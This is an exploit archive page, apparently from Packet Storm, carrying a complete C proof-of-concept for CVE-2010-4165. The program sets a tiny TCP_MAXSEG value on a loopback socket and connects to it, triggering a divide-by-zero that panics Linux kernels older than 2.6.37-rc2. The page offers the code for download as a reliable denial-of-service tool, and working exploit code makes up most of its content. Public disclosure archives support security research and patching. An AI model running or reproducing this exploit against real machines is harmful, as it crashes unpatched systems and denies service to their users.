exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service
Posted Mar 10, 2011
Authored by zx2c4

Linux kernel versions prior to 2.6.37-rc2 TCP_MAXSEG kernel panic denial of service exploit that triggers a divide by zero error in net/ipv4/tcp.c.

tags | exploit, denial of service, kernel, tcp
systems | linux
advisories | CVE-2010-4165
SHA-256 | a828b90c5c0bad6750f1b7c65f1a2de7ed95c1f80ad18127d00d539bc776fa31

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Change Mirror Download
/*
* TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
* by zx2c4
*
* This exploit triggers CVE-2010-4165, a divide by zero
* error in net/ipv4/tcp.c. Because this is on the softirq
* path, the kernel oopses and then completely dies with
* no chance of recovery. It has been very reliable as a
* DoS, but is not useful for triggering other bugs.
*
* -zx2c4, 28-2-2011
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.\n");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.\n");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.\n");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.\n");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
printf("[-] Could not open connector.\n");
return -1;
}
if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not connect to listener.\n");
return -1;
}
printf("[-] Connection did not trigger oops.\n");
return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close